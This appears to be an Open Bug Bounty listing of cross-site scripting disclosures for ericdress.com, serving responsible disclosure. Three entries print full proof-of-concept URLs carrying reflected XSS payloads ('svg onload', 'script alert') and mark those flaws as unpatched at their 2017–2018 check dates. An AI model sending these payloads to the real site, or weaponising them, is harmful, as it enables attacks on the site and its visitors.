ericdress.com Cross Site Scripting vulnerability OBB-2922248

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

ericdress.com XSS vulnerability

Open Bug Bounty ID: OBB-707226 Description| Value ---|--- Affected Website:| ericdress.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| hidden until disclosure Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| hidden...

ericdress.com XSS vulnerability

Vulnerable URL: https://www.ericdress.com/?a=%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 57021 VIP website status:| No Coordinated...

ericdress.com XSS vulnerability

Vulnerable URL: https://www.ericdress.com/search.html?keyword=%3C/title%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 51928 VIP...

ericdress.com XSS vulnerability

Vulnerable URL: https://www.ericdress.com/404.html?aspxerrorpath=/search/%22%3E%3Csvg%20onload=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 54826 VIP...